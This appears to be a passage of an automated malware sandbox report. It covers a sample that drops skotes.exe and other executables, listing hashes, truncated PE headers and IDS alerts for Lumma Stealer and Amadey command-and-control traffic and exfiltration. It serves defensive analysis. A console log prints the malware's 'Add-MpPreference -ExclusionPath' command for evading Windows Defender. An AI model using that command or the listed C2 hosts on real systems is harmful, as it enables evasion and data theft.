SHA1:	4AF069A2EC874703A7E29023D23A1ADA491B584E
SHA-256:	552F8BE2C6B2208A89C728F68488930C661B3A06C35A20D133EF7D3C63A86B9C
SHA-512:	7DFD9E0F3FA2D68A6CE8C952E3B755559DB73BB7A06C95AD6ED8AC16DEDB49BE8B8337AFC07C9C682F0C4BE9DB291A551286353E2E2B624223487DC1C8B54668
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J.....%-....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..*..@.......\..............@...uzxdwyvi.P... 0..B...^..............@...efzdldig.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1018351001\e90a98cf1a.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1114112
Entropy (8bit):	7.7336985855739355
Encrypted:	false
SSDEEP:	24576:FAu2uOTJr0/sBIpMvVEDvtNNVpk3BLSx+ptEH76duCiheu2:4ugJAGIpMmZNNEBLSx4EHGxiC
MD5:	EF08A45833A7D881C90DED1952F96CB4
SHA1:	F04AEEB63A1409BD916558D2C40FAB8A5ED8168B
SHA-256:	33C236DC81AF2A47D595731D6FA47269B2874B281152530FDFFDDA9CBEB3B501
SHA-512:	74E84F710C90121527F06D453E9286910F2E8B6AC09D2AEB4AB1F0EAD23EA9B410C5D1074D8BC759BC3E766B5BC77D156756C7DF093BA94093107393290CED97
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...$.cg..............0......2........... ........@.. .......................`............@.....................................W.......H/...................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...H/.......0..................@..@.reloc.......@......................@..B........................H........<..........K.......`p...........................................Y?.F60...5..8....4zc.:.V........N.0...1.....O*.S..~.......I...pR..iI......Pn}...iJ!BH.+o/S..yj...8T'.}....y.I.kD.....'....$.6....}..w[. )...j..[.-..0....\|...p....h\..L....R.T.~......b.K.h....".8.s`)...1... ....[i&.9....a?.F..N..~..._.^...Q.....43.L.....@v...x..IB.4...........\|......(........~.Y.L.S..;..x.)w...v...:..2.....y.%{3w.)..^..7......@...7..k.H..p}."..%.p....0.g.3....g..

C:\Users\user\AppData\Local\Temp\1018352001\85e92d03ea.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1753088
Entropy (8bit):	7.989431859101435
Encrypted:	false
SSDEEP:	49152:RMYe8CTUHTwgGScdZsdbcPcPwBU19xW4Jdmpwvw3k:OYexTGTTGbdZZElFJWR3k
MD5:	F56CE0D12E44AFA8B403680EC25BDB57
SHA1:	C589C431B3606ACD0DF69798E53AA4D5A9DB8624
SHA-256:	14F9D2493BF7DB72479840431A60B598D8513A894AF755504465F0CB9D7DB7CB
SHA-512:	FE01B6035265B1D354C45716BB8E4572F0A45252FE3D9955E40F17FD69FBF507771873CD93F20F4B530398FD0F968F5919FE4A102C7CD8FC6E1CDF53E6B260D2
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....U`g...............(.>D...d..2...........PD...@................................".E...@... ............................._.a.s.....a.....................8..................................................................................... . .pa......>(.................@....rsrc.........a......N(.............@....idata ......a......P(.............@... .`:...a......R(.............@...upzhrybt.............T(.............@...ibjofqmg..............D.............@....taggant.0......."....D.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1onmw1mz.ifn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5jxw1yhs.15t.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_adyb5bzo.vup.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ehrjt14w.srl.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fyevq5xn.4cb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jpfir2oq.zzk.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l4eibsmh.sap.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yr3kmfxs.wjp.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2989056
Entropy (8bit):	6.559721583361142
Encrypted:	false
SSDEEP:	49152:7+aAxr1Ly/YE4/nOllylqGrpegcw3jCB+4oi:7+aAxRNElylqGrpegDs+4oi
MD5:	5BCC85CF578615240EBB1808BB7A05C0
SHA1:	271E542F554EA879DBFFC67A83262CE63DFA5A22
SHA-256:	8370E88AC5BEFE61AC995AFFFAD27892681DC44A854A50A028A977CDC945F1FC
SHA-512:	F675E2FBC5E86CB8D649016B24BFBE343416CE71012D257670F4D18D1BAFEA26658AACE3EA9C2FA014B3DD8BD81030B8182FA16D601F02920C1171BB3597D715
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P1...........@...........................1.....Sq....@.................................W...k...........................x,1.............................(,1..................................................... . ............................@....rsrc...............................@....idata ............................@...rthlggth..........................@...nxbvpcfa.....@1......v-.............@....taggant.0...P1.."...z-.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4109590890571506
Encrypted:	false
SSDEEP:	6:p69Hgr7XflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lSut0:p+g3f2RKQ1CGAFAjzvYRQVSut0
MD5:	44D6EDED35C12F602CE20F4B380B6BA6
SHA1:	99BF47265FAA6BBBF7DC379C659171B99BF89628
SHA-256:	83BE82C63E3C2526CF1DC92C0DA456CF49A06F14EEB07EB2ADADEE223A16076B
SHA-512:	F3685AF2AEC19B893B5BCFF36B4062EFE79E3171A4A8D62A3E2472BC17BB511EA41FC1483AA4CC7E2BF2A599D4671861F889C7F3B477BD96ED4F4CBF4B325D4C
Malicious:	false
Preview:	....w..,..E...K.%.hF.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

C:\iscwgalo\2f324f5b70a042e8a5bbc0f48d5c8a87.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1275904
Entropy (8bit):	7.9913649636274116
Encrypted:	true
SSDEEP:	24576:nqYNJzSEZYfL8tWC6HeBDUMCp5yiW18BR7e7r5MQkc2nylqPv:n57zSyq82H0DUHp5ljBo54HPv
MD5:	577CD52217DA6D7163CEA46BB01C107F
SHA1:	82B31CC52C538238E63BDFC22D1EA306EA0B852A
SHA-256:	139762E396FB930400FAB8FAAB80CB679ABBE642144261CBA24973FB23BCD728
SHA-512:	8ABAD4EAF2A302DFD9EAD058E8C14D996437975730125C46D034A71028921FF36FF5D157AD3671E328AC667EC8095DB19FA14A9E8EAAF1A7738AA3D0120B5474
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 86%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................x............@...........................;...........@................................. P-..............................P-.........................................................................................................................@............0..........................@................0...0..................@............@... ..."...F..............@.............'..`.......h..............@....data....`...P-..V..."..............@...........................................................................................................................................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\1018348001\d3ba7fdf70.exe
File Type:	Non-ISO extended-ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2938
Entropy (8bit):	5.153795126485411
Encrypted:	false
SSDEEP:	48:J4r4oTrticG+3OtZG+3BrticB+3OtZB+3Ho+pyxBs++eMg:K0qvsRehdapMg
MD5:	19BE49B5AA4CE5901B6C74DBC1442949
SHA1:	B1299529B48D6E1D1202B0B571E42C1D4B31E93B
SHA-256:	6C4BA02DC7DCFA921DAE01608C10EB0238ED2BF284A49D253B45C280C7EFBE53
SHA-512:	B86F0B30464289AA0D5878A09F3574B6D8E077DBD08E4B1D34D646F5C2DBD4EE626E6E91D3B7ED826E956D2D5ECFBC37EF65E3F252EA5591CBD1DB658EA6FAB7
Malicious:	false
Preview:	Carpeta creada: C:\iscwgalo...Bienvenido al Programa de An.lisis de Texto!..Ingrese texto para el an.lisis (tiene 2 segundos):....Se acab. el tiempo! La entrada no se complet....Generando una oraci.n aleatoria.....Oraci.n generada: libro coche casa .rbol..N.mero de palabras: 4..Error al agregar la exclusi.n: Add-MpPreference : Operation failed with the following error: 0x800106ba. Operation: MpPreference. Target: ..ConfigListExtension...At line:1 char:1..+ Add-MpPreference -ExclusionPath C:\iscwgalo..+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Add-MpPreference], .. CimException.. + FullyQualifiedErrorId : HRESULT 0x800106ba,Add-MpPreference.. ..Add-MpPreference : Operation failed with the following error: 0x%1!x!..At line:1 char:1..+ Add-MpPreference -ExclusionPath C:\iscwgalo..+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.. + CategoryInfo : NotSpecified: (MSFT_MpPref

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.559721583361142
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	2'989'056 bytes
MD5:	5bcc85cf578615240ebb1808bb7a05c0
SHA1:	271e542f554ea879dbffc67a83262ce63dfa5a22
SHA256:	8370e88ac5befe61ac995afffad27892681dc44a854a50a028a977cdc945f1fc
SHA512:	f675e2fbc5e86cb8d649016b24bfbe343416ce71012d257670f4d18d1bafea26658aace3ea9c2fa014b3dd8bd81030b8182fa16d601f02920c1171bb3597d715
SSDEEP:	49152:7+aAxr1Ly/YE4/nOllylqGrpegcw3jCB+4oi:7+aAxRNElylqGrpegDs+4oi
TLSH:	0DD55BD2760672CFD49E3778992BCD82A95D07F9172448C3A95C68BA7DA3CC111FEC28
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x715000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F15B511D1FAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x5d4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x312c78	0x10	rthlggth
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x312c28	0x18	rthlggth
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	65069767b489fc5d25c1d2069b6dac23	False	0.9983023245912807	data	7.982867269423114	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x5d4	0x400	8d436587365e0847594626d9b842c023	False	0.70703125	data	5.843054437227747	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
rthlggth	0x6b000	0x2a9000	0x2a8200	ddbee36d87196c14623f59f595eb5382	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
nxbvpcfa	0x314000	0x1000	0x400	dad0b34562dece123bab69f69c393e49	False	0.7099609375	data	5.739621909305634	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x315000	0x3000	0x2200	e5cdb6a9b0194b67bf803870b12047e7	False	0.35202205882352944	DOS executable (COM)	3.8708392548972923	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x312c88	0x3e4	XML 1.0 document, ASCII text			0.48092369477911645
RT_MANIFEST	0x31306c	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T09:11:03.865827+0100	2058355	ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI)	1	192.168.2.4	49954	104.21.66.85	443	TCP
2024-12-20T09:11:03.865827+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49954	104.21.66.85	443	TCP
2024-12-20T09:11:03.865827+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49953	104.21.91.209	443	TCP
2024-12-20T09:11:20.372898+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49953	104.21.91.209	443	TCP
2024-12-20T09:12:04.869620+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49747	185.215.113.43	80	TCP
2024-12-20T09:12:09.947490+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49759	31.41.244.11	80	TCP
2024-12-20T09:12:16.211950+0100	2058424	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (lossekniyyt .click)	1	192.168.2.4	59573	1.1.1.1	53	UDP
2024-12-20T09:12:17.567528+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49753	TCP
2024-12-20T09:12:17.799002+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.4	49777	172.67.131.246	443	TCP
2024-12-20T09:12:17.799002+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49777	172.67.131.246	443	TCP
2024-12-20T09:12:18.542365+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49777	172.67.131.246	443	TCP
2024-12-20T09:12:18.542365+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49777	172.67.131.246	443	TCP
2024-12-20T09:12:18.906775+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49780	185.215.113.43	80	TCP
2024-12-20T09:12:19.792209+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.4	49783	172.67.131.246	443	TCP
2024-12-20T09:12:19.792209+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49783	172.67.131.246	443	TCP
2024-12-20T09:12:20.353115+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49785	31.41.244.11	80	TCP
2024-12-20T09:12:20.570018+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49783	172.67.131.246	443	TCP
2024-12-20T09:12:20.570018+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49783	172.67.131.246	443	TCP
2024-12-20T09:12:22.341539+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.4	49791	172.67.131.246	443	TCP
2024-12-20T09:12:22.341539+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49791	172.67.131.246	443	TCP
2024-12-20T09:12:25.073337+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.4	49799	172.67.131.246	443	TCP
2024-12-20T09:12:25.073337+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49799	172.67.131.246	443	TCP
2024-12-20T09:12:27.192149+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49805	185.215.113.43	80	TCP
2024-12-20T09:12:27.258415+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49806	104.21.67.146	443	TCP
2024-12-20T09:12:27.374830+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.4	49807	172.67.131.246	443	TCP
2024-12-20T09:12:27.374830+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49807	172.67.131.246	443	TCP
2024-12-20T09:12:27.687932+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49806	104.21.67.146	443	TCP
2024-12-20T09:12:27.687932+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49806	104.21.67.146	443	TCP
2024-12-20T09:12:28.639099+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49808	31.41.244.11	80	TCP
2024-12-20T09:12:29.034954+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49812	104.21.67.146	443	TCP
2024-12-20T09:12:29.689630+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.4	49815	172.67.131.246	443	TCP
2024-12-20T09:12:29.689630+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49815	172.67.131.246	443	TCP
2024-12-20T09:12:29.822609+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49812	104.21.67.146	443	TCP
2024-12-20T09:12:29.822609+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49812	104.21.67.146	443	TCP
2024-12-20T09:12:30.453263+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49815	172.67.131.246	443	TCP
2024-12-20T09:12:31.542999+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49821	104.21.67.146	443	TCP
2024-12-20T09:12:32.151734+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.4	49822	172.67.131.246	443	TCP
2024-12-20T09:12:32.151734+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49822	172.67.131.246	443	TCP
2024-12-20T09:12:34.612109+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49828	104.21.67.146	443	TCP
2024-12-20T09:12:35.396404+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49828	104.21.67.146	443	TCP
2024-12-20T09:12:35.796154+0100	2058425	ET MALWARE Observed Win32/Lumma Stealer Related Domain (lossekniyyt .click in TLS SNI)	1	192.168.2.4	49835	172.67.131.246	443	TCP
